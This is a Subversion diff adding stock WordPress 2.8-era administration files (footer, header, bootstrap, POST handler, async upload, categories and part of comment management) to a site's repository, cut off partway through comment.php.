+++ /trunk/www.guidonia.net/wp/wp-admin/admin-footer.php	(revision 44)
@@ -0,0 +1,40 @@
+<?php
+/**
+ * WordPress Administration Template Footer
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+?>
+
+<div class="clear"></div></div><!-- wpbody-content -->
+<div class="clear"></div></div><!-- wpbody -->
+<div class="clear"></div></div><!-- wpcontent -->
+</div><!-- wpwrap -->
+
+<div id="footer">
+<p id="footer-left" class="alignleft"><?php
+do_action( 'in_admin_footer' );
+$upgrade = apply_filters( 'update_footer', '' );
+echo apply_filters( 'admin_footer_text', '<span id="footer-thankyou">' . __('Thank you for creating with <a href="http://wordpress.org/">WordPress</a>.').'</span> | '.__('<a href="http://codex.wordpress.org/">Documentation</a>').' | '.__('<a href="http://wordpress.org/support/forum/4">Feedback</a>') ); ?>
+</p>
+<?php // if ( $is_IE ) browse_happy(); ?>
+<p id="footer-upgrade" class="alignright"><?php echo $upgrade; ?></p>
+<div class="clear"></div>
+</div>
+<?php
+do_action('admin_footer', '');
+do_action('admin_print_footer_scripts');
+do_action("admin_footer-$hook_suffix");
+
+// get_site_option() won't exist when auto upgrading from <= 2.7
+if ( function_exists('get_site_option') ) {
+	if ( false === get_site_option('can_compress_scripts') )
+		compression_test();
+}
+
+?>
+
+<script type="text/javascript">if(typeof wpOnload=='function')wpOnload();</script>
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-admin/admin-functions.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/admin-functions.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/admin-functions.php	(revision 44)
@@ -0,0 +1,16 @@
+<?php
+/**
+ * Administration Functions
+ *
+ * This file is deprecated, use 'wp-admin/includes/admin.php' instead.
+ *
+ * @deprecated 2.5
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+_deprecated_file( basename(__FILE__), '2.5', 'wp-admin/includes/admin.php' );
+
+/** WordPress Administration API: Includes all Administration functions. */
+require_once(ABSPATH . 'wp-admin/includes/admin.php');
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/admin-header.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/admin-header.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/admin-header.php	(revision 44)
@@ -0,0 +1,128 @@
+<?php
+/**
+ * WordPress Administration Template Header
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+@header('Content-Type: ' . get_option('html_type') . '; charset=' . get_option('blog_charset'));
+if (!isset($_GET["page"])) require_once('admin.php');
+
+get_admin_page_title();
+$title = esc_html( strip_tags( $title ) );
+wp_user_settings();
+wp_menu_unfold();
+?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" <?php do_action('admin_xml_ns'); ?> <?php language_attributes(); ?>>
+<head>
+<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php echo get_option('blog_charset'); ?>" />
+<title><?php echo $title; ?> &lsaquo; <?php bloginfo('name') ?>  &#8212; WordPress</title>
+<?php
+
+wp_admin_css( 'css/global' );
+wp_admin_css();
+wp_admin_css( 'css/colors' );
+wp_admin_css( 'css/ie' );
+wp_enqueue_script('utils');
+
+$hook_suffix = '';
+if ( isset($page_hook) )
+	$hook_suffix = "$page_hook";
+else if ( isset($plugin_page) )
+	$hook_suffix = "$plugin_page";
+else if ( isset($pagenow) )
+	$hook_suffix = "$pagenow";
+
+$admin_body_class = preg_replace('/[^a-z0-9_-]+/i', '-', $hook_suffix);
+?>
+<script type="text/javascript">
+//<![CDATA[
+addLoadEvent = function(func){if(typeof jQuery!="undefined")jQuery(document).ready(func);else if(typeof wpOnload!='function'){wpOnload=func;}else{var oldonload=wpOnload;wpOnload=function(){oldonload();func();}}};
+var userSettings = {'url':'<?php echo SITECOOKIEPATH; ?>','uid':'<?php if ( ! isset($current_user) ) $current_user = wp_get_current_user(); echo $current_user->ID; ?>','time':'<?php echo time() ?>'};
+var ajaxurl = '<?php echo admin_url('admin-ajax.php'); ?>', pagenow = '<?php echo substr($pagenow, 0, -4); ?>', adminpage = '<?php echo $admin_body_class; ?>';
+//]]>
+</script>
+<?php
+
+if ( in_array( $pagenow, array('post.php', 'post-new.php', 'page.php', 'page-new.php') ) ) {
+	add_action( 'admin_print_footer_scripts', 'wp_tiny_mce', 25 );
+	wp_enqueue_script('quicktags');
+}
+
+do_action('admin_enqueue_scripts', $hook_suffix);
+do_action("admin_print_styles-$hook_suffix");
+do_action('admin_print_styles');
+do_action("admin_print_scripts-$hook_suffix");
+do_action('admin_print_scripts');
+do_action("admin_head-$hook_suffix");
+do_action('admin_head');
+
+if ( get_user_setting('mfold') == 'f' ) {
+	$admin_body_class .= ' folded';
+}
+
+if ( $is_iphone ) { ?>
+<style type="text/css">.row-actions{visibility:visible;}</style>
+<?php } ?>
+</head>
+<body class="wp-admin no-js <?php echo apply_filters( 'admin_body_class', '' ) . " $admin_body_class"; ?>">
+<script type="text/javascript">
+//<![CDATA[
+(function(){
+var c = document.body.className;
+c = c.replace(/no-js/, 'js');
+document.body.className = c;
+})();
+//]]>
+</script>
+
+<div id="wpwrap">
+<div id="wpcontent">
+<div id="wphead">
+<?php
+$blog_name = get_bloginfo('name', 'display');
+if ( '' == $blog_name ) {
+	$blog_name = '&nbsp;';
+} else {
+	$blog_name_excerpt = wp_html_excerpt($blog_name, 40);
+	if ( $blog_name != $blog_name_excerpt )
+		$blog_name_excerpt = trim($blog_name_excerpt) . '&hellip;';
+	$blog_name = $blog_name_excerpt;
+}
+$title_class = '';
+if ( function_exists('mb_strlen') ) {
+	if ( mb_strlen($blog_name, 'UTF-8') > 30 )
+		$title_class = 'class="long-title"';
+} else {
+	if ( strlen($blog_name) > 30 )
+		$title_class = 'class="long-title"';
+}
+?>
+
+<img id="header-logo" src="../wp-includes/images/blank.gif" alt="" width="32" height="32" /> <h1 id="site-heading" <?php echo $title_class ?>><a href="<?php echo trailingslashit( get_bloginfo('url') ); ?>" title="<?php _e('Visit Site') ?>"><span id="site-title"><?php echo $blog_name ?></span> <em id="site-visit-button"><?php _e('Visit Site') ?></em></a></h1>
+
+<div id="wphead-info">
+<div id="user_info">
+<p><?php printf(__('Howdy, <a href="%1$s" title="Edit your profile">%2$s</a>'), 'profile.php', $user_identity) ?>
+<?php if ( ! $is_opera ) { ?><span class="turbo-nag hidden"> | <a href="tools.php"><?php _e('Turbo') ?></a></span><?php } ?> |
+<a href="<?php echo wp_logout_url() ?>" title="<?php _e('Log Out') ?>"><?php _e('Log Out'); ?></a></p>
+</div>
+
+<?php favorite_actions($hook_suffix); ?>
+</div>
+</div>
+
+<div id="wpbody">
+<?php require(ABSPATH . 'wp-admin/menu-header.php'); ?>
+
+<div id="wpbody-content">
+<?php
+screen_meta($hook_suffix);
+
+do_action('admin_notices');
+
+if ( $parent_file == 'options-general.php' ) {
+	require(ABSPATH . 'wp-admin/options-head.php');
+}
Index: /trunk/www.guidonia.net/wp/wp-admin/admin-post.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/admin-post.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/admin-post.php	(revision 44)
@@ -0,0 +1,33 @@
+<?php
+/**
+ * WordPress Administration Generic POST Handler.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** We are located in WordPress Administration Panels */
+define('WP_ADMIN', true);
+
+if ( defined('ABSPATH') )
+	require_once(ABSPATH . 'wp-load.php');
+else
+	require_once('../wp-load.php');
+
+require_once(ABSPATH . 'wp-admin/includes/admin.php');
+
+nocache_headers();
+
+do_action('admin_init');
+
+$action = 'admin_post';
+
+if ( !wp_validate_auth_cookie() )
+	$action .= '_nopriv';
+
+if ( !empty($_REQUEST['action']) )
+	$action .= '_' . $_REQUEST['action'];
+
+do_action($action);
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/admin.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/admin.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/admin.php	(revision 44)
@@ -0,0 +1,159 @@
+<?php
+/**
+ * WordPress Administration Bootstrap
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * In WordPress Administration Panels
+ *
+ * @since unknown
+ */
+if ( !defined('WP_ADMIN') )
+	define('WP_ADMIN', TRUE);
+
+if ( defined('ABSPATH') )
+	require_once(ABSPATH . 'wp-load.php');
+else
+	require_once('../wp-load.php');
+
+if ( get_option('db_upgraded') ) {
+	$wp_rewrite->flush_rules();
+	update_option( 'db_upgraded',  false );
+
+	/**
+	 * Runs on the next page load after successful upgrade
+	 *
+	 * @since 2.8
+	 */
+	do_action('after_db_upgrade');
+} elseif ( get_option('db_version') != $wp_db_version ) {
+	wp_redirect(admin_url('upgrade.php?_wp_http_referer=' . urlencode(stripslashes($_SERVER['REQUEST_URI']))));
+	exit;
+}
+
+require_once(ABSPATH . 'wp-admin/includes/admin.php');
+
+auth_redirect();
+
+nocache_headers();
+
+update_category_cache();
+
+set_screen_options();
+
+$posts_per_page = get_option('posts_per_page');
+$date_format = get_option('date_format');
+$time_format = get_option('time_format');
+
+wp_reset_vars(array('profile', 'redirect', 'redirect_url', 'a', 'popuptitle', 'popupurl', 'text', 'trackback', 'pingback'));
+
+wp_admin_css_color('classic', __('Blue'), admin_url("css/colors-classic.css"), array('#073447', '#21759B', '#EAF3FA', '#BBD8E7'));
+wp_admin_css_color('fresh', __('Gray'), admin_url("css/colors-fresh.css"), array('#464646', '#6D6D6D', '#F1F1F1', '#DFDFDF'));
+
+wp_enqueue_script( 'common' );
+wp_enqueue_script( 'jquery-color' );
+
+$editing = false;
+
+if (isset($_GET['page'])) {
+	$plugin_page = stripslashes($_GET['page']);
+	$plugin_page = plugin_basename($plugin_page);
+}
+
+require(ABSPATH . 'wp-admin/menu.php');
+
+do_action('admin_init');
+
+// Handle plugin admin pages.
+if (isset($plugin_page)) {
+	if( ! $page_hook = get_plugin_page_hook($plugin_page, $pagenow) ) {
+		$page_hook = get_plugin_page_hook($plugin_page, $plugin_page);
+		// backwards compatibility for plugins using add_management_page
+		if ( empty( $page_hook ) && 'edit.php' == $pagenow && '' != get_plugin_page_hook($plugin_page, 'tools.php') ) {
+			// There could be plugin specific params on the URL, so we need the whole query string
+			if ( !empty($_SERVER[ 'QUERY_STRING' ]) )
+				$query_string = $_SERVER[ 'QUERY_STRING' ];
+			else
+				$query_string = 'page=' . $plugin_page;
+			wp_redirect( 'tools.php?' . $query_string );
+			exit;
+		}
+	}
+
+	if ( $page_hook ) {
+		do_action('load-' . $page_hook);
+		if (! isset($_GET['noheader']))
+			require_once(ABSPATH . 'wp-admin/admin-header.php');
+
+		do_action($page_hook);
+	} else {
+		if ( validate_file($plugin_page) ) {
+			wp_die(__('Invalid plugin page'));
+		}
+
+		if (! ( file_exists(WP_PLUGIN_DIR . "/$plugin_page") && is_file(WP_PLUGIN_DIR . "/$plugin_page") ) )
+			wp_die(sprintf(__('Cannot load %s.'), htmlentities($plugin_page)));
+
+		do_action('load-' . $plugin_page);
+
+		if (! isset($_GET['noheader']))
+			require_once(ABSPATH . 'wp-admin/admin-header.php');
+
+		include(WP_PLUGIN_DIR . "/$plugin_page");
+	}
+
+	include(ABSPATH . 'wp-admin/admin-footer.php');
+
+	exit();
+} else if (isset($_GET['import'])) {
+
+	$importer = $_GET['import'];
+
+	if ( ! current_user_can('import') )
+		wp_die(__('You are not allowed to import.'));
+
+	if ( validate_file($importer) ) {
+		wp_die(__('Invalid importer.'));
+	}
+
+	// Allow plugins to define importers as well
+	if ( !isset($wp_importers) || !isset($wp_importers[$importer]) || ! is_callable($wp_importers[$importer][2]))
+	{
+		if (! file_exists(ABSPATH . "wp-admin/import/$importer.php"))
+		{
+			wp_die(__('Cannot load importer.'));
+		}
+		include(ABSPATH . "wp-admin/import/$importer.php");
+	}
+
+	$parent_file = 'tools.php';
+	$submenu_file = 'import.php';
+	$title = __('Import');
+
+	if (! isset($_GET['noheader']))
+		require_once(ABSPATH . 'wp-admin/admin-header.php');
+
+	require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
+
+	define('WP_IMPORTING', true);
+
+	call_user_func($wp_importers[$importer][2]);
+
+	include(ABSPATH . 'wp-admin/admin-footer.php');
+
+	// Make sure rules are flushed
+	global $wp_rewrite;
+	$wp_rewrite->flush_rules(false);
+
+	exit();
+} else {
+	do_action("load-$pagenow");
+}
+
+if ( !empty($_REQUEST['action']) )
+	do_action('admin_action_' . $_REQUEST['action']);
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/async-upload.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/async-upload.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/async-upload.php	(revision 44)
@@ -0,0 +1,59 @@
+<?php
+/**
+ * Accepts file uploads from swfupload or other asynchronous upload methods.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+define('WP_ADMIN', true);
+
+if ( defined('ABSPATH') )
+	require_once(ABSPATH . 'wp-load.php');
+else
+	require_once('../wp-load.php');
+
+// Flash often fails to send cookies with the POST or upload, so we need to pass it in GET or POST instead
+if ( is_ssl() && empty($_COOKIE[SECURE_AUTH_COOKIE]) && !empty($_REQUEST['auth_cookie']) )
+	$_COOKIE[SECURE_AUTH_COOKIE] = $_REQUEST['auth_cookie'];
+elseif ( empty($_COOKIE[AUTH_COOKIE]) && !empty($_REQUEST['auth_cookie']) )
+	$_COOKIE[AUTH_COOKIE] = $_REQUEST['auth_cookie'];
+unset($current_user);
+require_once('admin.php');
+
+header('Content-Type: text/plain; charset=' . get_option('blog_charset'));
+
+if ( !current_user_can('upload_files') )
+	wp_die(__('You do not have permission to upload files.'));
+
+// just fetch the detail form for that attachment
+if ( isset($_REQUEST['attachment_id']) && ($id = intval($_REQUEST['attachment_id'])) && $_REQUEST['fetch'] ) {
+	if ( 2 == $_REQUEST['fetch'] ) {
+		add_filter('attachment_fields_to_edit', 'media_single_attachment_fields_to_edit', 10, 2);
+		echo get_media_item($id, array( 'send' => false, 'delete' => true ));
+	} else {
+		add_filter('attachment_fields_to_edit', 'media_post_single_attachment_fields_to_edit', 10, 2);
+		echo get_media_item($id);
+	}
+	exit;
+}
+
+check_admin_referer('media-form');
+
+$id = media_handle_upload('async-upload', $_REQUEST['post_id']);
+if (is_wp_error($id)) {
+	echo '<div id="media-upload-error">'.esc_html($id->get_error_message()).'</div>';
+	exit;
+}
+
+if ( $_REQUEST['short'] ) {
+	// short form response - attachment ID only
+	echo $id;
+}
+else {
+	// long form response - big chunk o html
+	$type = $_REQUEST['type'];
+	echo apply_filters("async_upload_{$type}", $id);
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/categories.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/categories.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/categories.php	(revision 44)
@@ -0,0 +1,306 @@
+<?php
+/**
+ * Categories Management Panel
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** Load WordPress Bootstrap */
+require_once('admin.php');
+
+$title = __('Categories');
+
+wp_reset_vars( array('action', 'cat') );
+
+if ( isset( $_GET['action'] ) && isset($_GET['delete']) && ( 'delete' == $_GET['action'] || 'delete' == $_GET['action2'] ) )
+	$action = 'bulk-delete';
+
+switch($action) {
+
+case 'addcat':
+
+	check_admin_referer('add-category');
+
+	if ( !current_user_can('manage_categories') )
+		wp_die(__('Cheatin&#8217; uh?'));
+
+	if ( wp_insert_category($_POST ) )
+		wp_safe_redirect( add_query_arg( 'message', 1, wp_get_referer() ) . '#addcat' );
+	else
+		wp_safe_redirect( add_query_arg( 'message', 4, wp_get_referer() ) . '#addcat' );
+
+	exit;
+break;
+
+case 'delete':
+	$cat_ID = (int) $_GET['cat_ID'];
+	check_admin_referer('delete-category_' .  $cat_ID);
+
+	if ( !current_user_can('manage_categories') )
+		wp_die(__('Cheatin&#8217; uh?'));
+
+	$cat_name = get_cat_name($cat_ID);
+
+	// Don't delete the default cats.
+	if ( $cat_ID == get_option('default_category') )
+		wp_die(sprintf(__("Can&#8217;t delete the <strong>%s</strong> category: this is the default one"), $cat_name));
+
+	wp_delete_category($cat_ID);
+
+	wp_safe_redirect( add_query_arg( 'message', 2, wp_get_referer() ) );
+	exit;
+
+break;
+
+case 'bulk-delete':
+	check_admin_referer('bulk-categories');
+
+	if ( !current_user_can('manage_categories') )
+		wp_die( __('You are not allowed to delete categories.') );
+
+	foreach ( (array) $_GET['delete'] as $cat_ID ) {
+		$cat_name = get_cat_name($cat_ID);
+
+		// Don't delete the default cats.
+		if ( $cat_ID == get_option('default_category') )
+			wp_die(sprintf(__("Can&#8217;t delete the <strong>%s</strong> category: this is the default one"), $cat_name));
+
+		wp_delete_category($cat_ID);
+	}
+
+	wp_safe_redirect( wp_get_referer() );
+	exit();
+
+break;
+case 'edit':
+
+	$title = __('Edit Category');
+
+	require_once ('admin-header.php');
+	$cat_ID = (int) $_GET['cat_ID'];
+	$category = get_category_to_edit($cat_ID);
+	include('edit-category-form.php');
+
+break;
+
+case 'editedcat':
+	$cat_ID = (int) $_POST['cat_ID'];
+	check_admin_referer('update-category_' . $cat_ID);
+
+	if ( !current_user_can('manage_categories') )
+		wp_die(__('Cheatin&#8217; uh?'));
+
+	$location = 'categories.php';
+	if ( $referer = wp_get_original_referer() ) {
+		if ( false !== strpos($referer, 'categories.php') )
+			$location = $referer;
+	}
+
+	if ( wp_update_category($_POST) )
+		$location = add_query_arg('message', 3, $location);
+	else
+		$location = add_query_arg('message', 5, $location);
+
+	wp_redirect($location);
+
+	exit;
+break;
+
+default:
+
+if ( isset($_GET['_wp_http_referer']) && ! empty($_GET['_wp_http_referer']) ) {
+	 wp_redirect( remove_query_arg( array('_wp_http_referer', '_wpnonce'), stripslashes($_SERVER['REQUEST_URI']) ) );
+	 exit;
+}
+
+wp_enqueue_script('admin-categories');
+if ( current_user_can('manage_categories') )
+	wp_enqueue_script('inline-edit-tax');
+
+require_once ('admin-header.php');
+
+$messages[1] = __('Category added.');
+$messages[2] = __('Category deleted.');
+$messages[3] = __('Category updated.');
+$messages[4] = __('Category not added.');
+$messages[5] = __('Category not updated.');
+?>
+
+<div class="wrap nosubsub">
+<?php screen_icon(); ?>
+<h2><?php echo esc_html( $title );
+if ( isset($_GET['s']) && $_GET['s'] )
+	printf( '<span class="subtitle">' . __('Search results for &#8220;%s&#8221;') . '</span>', esc_html( stripslashes($_GET['s']) ) ); ?>
+</h2>
+
+<?php
+if ( isset($_GET['message']) && ( $msg = (int) $_GET['message'] ) ) : ?>
+<div id="message" class="updated fade"><p><?php echo $messages[$msg]; ?></p></div>
+<?php $_SERVER['REQUEST_URI'] = remove_query_arg(array('message'), $_SERVER['REQUEST_URI']);
+endif; ?>
+
+<form class="search-form topmargin" action="" method="get">
+<p class="search-box">
+	<label class="screen-reader-text" for="category-search-input"><?php _e('Search Categories'); ?>:</label>
+	<input type="text" id="category-search-input" name="s" value="<?php _admin_search_query(); ?>" />
+	<input type="submit" value="<?php esc_attr_e( 'Search Categories' ); ?>" class="button" />
+</p>
+</form>
+<br class="clear" />
+
+<div id="col-container">
+
+<div id="col-right">
+<div class="col-wrap">
+<form id="posts-filter" action="" method="get">
+<div class="tablenav">
+
+<?php
+$pagenum = isset( $_GET['pagenum'] ) ? absint( $_GET['pagenum'] ) : 0;
+if ( empty($pagenum) )
+	$pagenum = 1;
+
+$cats_per_page = get_user_option('categories_per_page');
+if ( empty($cats_per_page) )
+	$cats_per_page = 20;
+$cats_per_page = apply_filters('edit_categories_per_page', $cats_per_page);
+
+if ( !empty($_GET['s']) )
+	$num_cats = count(get_categories(array('hide_empty' => 0, 'search' => $_GET['s'])));
+else
+	$num_cats = wp_count_terms('category');
+
+$page_links = paginate_links( array(
+	'base' => add_query_arg( 'pagenum', '%#%' ),
+	'format' => '',
+	'prev_text' => __('&laquo;'),
+	'next_text' => __('&raquo;'),
+	'total' => ceil($num_cats / $cats_per_page),
+	'current' => $pagenum
+));
+
+if ( $page_links )
+	echo "<div class='tablenav-pages'>$page_links</div>";
+?>
+
+<div class="alignleft actions">
+<select name="action">
+<option value="" selected="selected"><?php _e('Bulk Actions'); ?></option>
+<option value="delete"><?php _e('Delete'); ?></option>
+</select>
+<input type="submit" value="<?php esc_attr_e('Apply'); ?>" name="doaction" id="doaction" class="button-secondary action" />
+<?php wp_nonce_field('bulk-categories'); ?>
+</div>
+
+<br class="clear" />
+</div>
+
+<div class="clear"></div>
+
+<table class="widefat fixed" cellspacing="0">
+	<thead>
+	<tr>
+<?php print_column_headers('categories'); ?>
+	</tr>
+	</thead>
+
+	<tfoot>
+	<tr>
+<?php print_column_headers('categories', false); ?>
+	</tr>
+	</tfoot>
+
+	<tbody id="the-list" class="list:cat">
+<?php
+cat_rows(0, 0, 0, $pagenum, $cats_per_page);
+?>
+	</tbody>
+</table>
+
+<div class="tablenav">
+<?php
+if ( $page_links )
+	echo "<div class='tablenav-pages'>$page_links</div>";
+?>
+
+<div class="alignleft actions">
+<select name="action2">
+<option value="" selected="selected"><?php _e('Bulk Actions'); ?></option>
+<option value="delete"><?php _e('Delete'); ?></option>
+</select>
+<input type="submit" value="<?php esc_attr_e('Apply'); ?>" name="doaction2" id="doaction2" class="button-secondary action" />
+<?php wp_nonce_field('bulk-categories'); ?>
+</div>
+
+<br class="clear" />
+</div>
+
+</form>
+
+<div class="form-wrap">
+<p><?php printf(__('<strong>Note:</strong><br />Deleting a category does not delete the posts in that category. Instead, posts that were only assigned to the deleted category are set to the category <strong>%s</strong>.'), apply_filters('the_category', get_cat_name(get_option('default_category')))) ?></p>
+<p><?php printf(__('Categories can be selectively converted to tags using the <a href="%s">category to tag converter</a>.'), 'admin.php?import=wp-cat2tag') ?></p>
+</div>
+
+</div>
+</div><!-- /col-right -->
+
+<div id="col-left">
+<div class="col-wrap">
+
+<?php if ( current_user_can('manage_categories') ) { ?>
+<?php $category = (object) array(); $category->parent = 0; do_action('add_category_form_pre', $category); ?>
+
+<div class="form-wrap">
+<h3><?php _e('Add Category'); ?></h3>
+<div id="ajax-response"></div>
+<form name="addcat" id="addcat" method="post" action="categories.php" class="add:the-list: validate">
+<input type="hidden" name="action" value="addcat" />
+<?php wp_original_referer_field(true, 'previous'); wp_nonce_field('add-category'); ?>
+
+<div class="form-field form-required">
+	<label for="cat_name"><?php _e('Category Name') ?></label>
+	<input name="cat_name" id="cat_name" type="text" value="" size="40" aria-required="true" />
+    <p><?php _e('The name is used to identify the category almost everywhere, for example under the post or in the category widget.'); ?></p>
+</div>
+
+<div class="form-field">
+	<label for="category_nicename"><?php _e('Category Slug') ?></label>
+	<input name="category_nicename" id="category_nicename" type="text" value="" size="40" />
+    <p><?php _e('The &#8220;slug&#8221; is the URL-friendly version of the name. It is usually all lowercase and contains only letters, numbers, and hyphens.'); ?></p>
+</div>
+
+<div class="form-field">
+	<label for="category_parent"><?php _e('Category Parent') ?></label>
+	<?php wp_dropdown_categories(array('hide_empty' => 0, 'name' => 'category_parent', 'orderby' => 'name', 'selected' => $category->parent, 'hierarchical' => true, 'show_option_none' => __('None'))); ?>
+    <p><?php _e('Categories, unlike tags, can have a hierarchy. You might have a Jazz category, and under that have children categories for Bebop and Big Band. Totally optional.'); ?></p>
+</div>
+
+<div class="form-field">
+	<label for="category_description"><?php _e('Description') ?></label>
+	<textarea name="category_description" id="category_description" rows="5" cols="40"></textarea>
+    <p><?php _e('The description is not prominent by default, however some themes may show it.'); ?></p>
+</div>
+
+<p class="submit"><input type="submit" class="button" name="submit" value="<?php esc_attr_e('Add Category'); ?>" /></p>
+<?php do_action('edit_category_form', $category); ?>
+</form></div>
+
+<?php } ?>
+
+</div>
+</div><!-- /col-left -->
+
+</div><!-- /col-container -->
+</div><!-- /wrap -->
+
+<?php
+inline_edit_term_row('categories');
+
+break;
+}
+
+include('admin-footer.php');
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/comment.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/comment.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/comment.php	(revision 44)
@@ -0,0 +1,240 @@
+<?php
+/**
+ * Comment Management Panel
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** Load WordPress Bootstrap */
+require_once('admin.php');
+
+$parent_file = 'edit-comments.php';
+$submenu_file = 'edit-comments.php';
+
+wp_reset_vars( array('action') );
+
+if ( isset( $_POST['deletecomment'] ) )
+	$action = 'deletecomment';
+
+/**
+ * Display error message at bottom of comments.
+ *
+ * @param string $msg Error Message. Assumed to contain HTML and be sanitized.
+ */
+function comment_footer_die( $msg ) {  //
+	echo "<div class='wrap'><p>$msg</p></div>";
+	include('admin-footer.php');
+	die;
+}
+
+switch( $action ) {
+
+case 'editcomment' :
+	$title = __('Edit Comment');
+
+	wp_enqueue_script('comment');
+	require_once('admin-header.php');
+
+	$comment_id = absint( $_GET['c'] );
+
+	if ( !$comment = get_comment( $comment_id ) )
+		comment_footer_die( __('Oops, no comment with this ID.') . sprintf(' <a href="%s">'.__('Go back').'</a>!', 'javascript:history.go(-1)') );
+
+	if ( !current_user_can('edit_post', $comment->comment_post_ID) )
+		comment_footer_die( __('You are not allowed to edit comments on this post.') );
+
+	$comment = get_comment_to_edit( $comment_id );
+
+	include('edit-form-comment.php');
+
+	break;
+
+case 'cdc' :
+case 'mac' :
+
+	require_once('admin-header.php');
+
+	$comment_id = absint( $_GET['c'] );
+	$formaction = 'cdc' == $action ? 'deletecomment' : 'approvecomment';
+	$nonce_action = 'cdc' == $action ? 'delete-comment_' : 'approve-comment_';
+	$nonce_action .= $comment_id;
+
+	if ( !$comment = get_comment_to_edit( $comment_id ) )
+		comment_footer_die( __('Oops, no comment with this ID.') . sprintf(' <a href="%s">'.__('Go back').'</a>!', 'edit.php') );
+
+	if ( !current_user_can( 'edit_post', $comment->comment_post_ID ) )
+		comment_footer_die( 'cdc' == $action ? __('You are not allowed to delete comments on this post.') : __('You are not allowed to edit comments on this post, so you cannot approve this comment.') );
+?>
+<div class='wrap'>
+
+<div class="narrow">
+<?php
+if ( 'spam' == $_GET['dt'] ) {
+	$caution_msg = __('You are about to mark the following comment as spam:');
+	$button = __('Spam Comment');
+} elseif ( 'cdc' == $action ) {
+	$caution_msg = __('You are about to delete the following comment:');
+	$button = __('Delete Comment');
+} else {
+	$caution_msg = __('You are about to approve the following comment:');
+	$button = __('Approve Comment');
+}
+?>
+
+<p><strong><?php _e('Caution:'); ?></strong> <?php echo $caution_msg; ?></p>
+
+<p><?php _e('Are you sure you want to do that?'); ?></p>
+
+<form action='comment.php' method='get'>
+
+<table width="100%">
+<tr>
+<td><input type='button' class="button" value='<?php esc_attr_e('No'); ?>' onclick="self.location='<?php echo admin_url('edit-comments.php'); ?>" /></td>
+<td class="textright"><input type='submit' class="button" value='<?php echo esc_attr($button); ?>' /></td>
+</tr>
+</table>
+
+<?php wp_nonce_field( $nonce_action ); ?>
+<input type='hidden' name='action' value='<?php echo esc_attr($formaction); ?>' />
+<?php if ( 'spam' == $_GET['dt'] ) { ?>
+<input type='hidden' name='dt' value='spam' />
+<?php } ?>
+<input type='hidden' name='p' value='<?php echo esc_attr($comment->comment_post_ID); ?>' />
+<input type='hidden' name='c' value='<?php echo esc_attr($comment->comment_ID); ?>' />
+<input type='hidden' name='noredir' value='1' />
+</form>
+
+<table class="form-table" cellpadding="5">
+<tr class="alt">
+<th scope="row"><?php _e('Author'); ?></th>
+<td><?php echo $comment->comment_author; ?></td>
+</tr>
+<?php if ( $comment->comment_author_email ) { ?>
+<tr>
+<th scope="row"><?php _e('E-mail'); ?></th>
+<td><?php echo $comment->comment_author_email; ?></td>
+</tr>
+<?php } ?>
+<?php if ( $comment->comment_author_url ) { ?>
+<tr>
+<th scope="row"><?php _e('URL'); ?></th>
+<td><a href='<?php echo $comment->comment_author_url; ?>'><?php echo $comment->comment_author_url; ?></a></td>
+</tr>
+<?php } ?>
+<tr>
+<th scope="row" valign="top"><?php /* translators: field name in comment form */ echo _x('Comment', 'noun'); ?></th>
+<td><?php echo $comment->comment_content; ?></td>
+</tr>
+</table>
+
+</div>
+</div>
+<?php
+	break;
+
+case 'deletecomment' :
+	$comment_id = absint( $_REQUEST['c'] );
+	check_admin_referer( 'delete-comment_' . $comment_id );
+
+	if ( isset( $_REQUEST['noredir'] ) )
+		$noredir = true;
+	else
+		$noredir = false;
+
+	if ( !$comment = get_comment( $comment_id ) )
+		comment_footer_die( __('Oops, no comment with this ID.') . sprintf(' <a href="%s">'.__('Go back').'</a>!', 'edit-comments.php') );
+
+	if ( !current_user_can( 'edit_post', $comment->comment_post_ID ) )
+		comment_footer_die( __('You are not allowed to edit comments on this post.') );
+
+	if ( 'spam' == $_REQUEST['dt'] )
+		wp_set_comment_status( $comment->comment_ID, 'spam' );
+	else
+		wp_delete_comment( $comment->comment_ID );
+
+	if ( '' != wp_get_referer() && false == $noredir && false === strpos(wp_get_referer(), 'comment.php' ) )
+		wp_redirect( wp_get_referer() );
+	else if ( '' != wp_get_original_referer() && false == $noredir )
+		wp_redirect( wp_get_original_referer() );
+	else
+		wp_redirect( admin_url('edit-comments.php') );
+
+	die;
+	break;
+
+case 'unapprovecomment' :
+	$comment_id = absint( $_GET['c'] );
+	check_admin_referer( 'unapprove-comment_' . $comment_id );
+
+	if ( isset( $_GET['noredir'] ) )
+		$noredir = true;
+	else
+		$noredir = false;
+
+	if ( !$comment = get_comment( $comment_id ) )
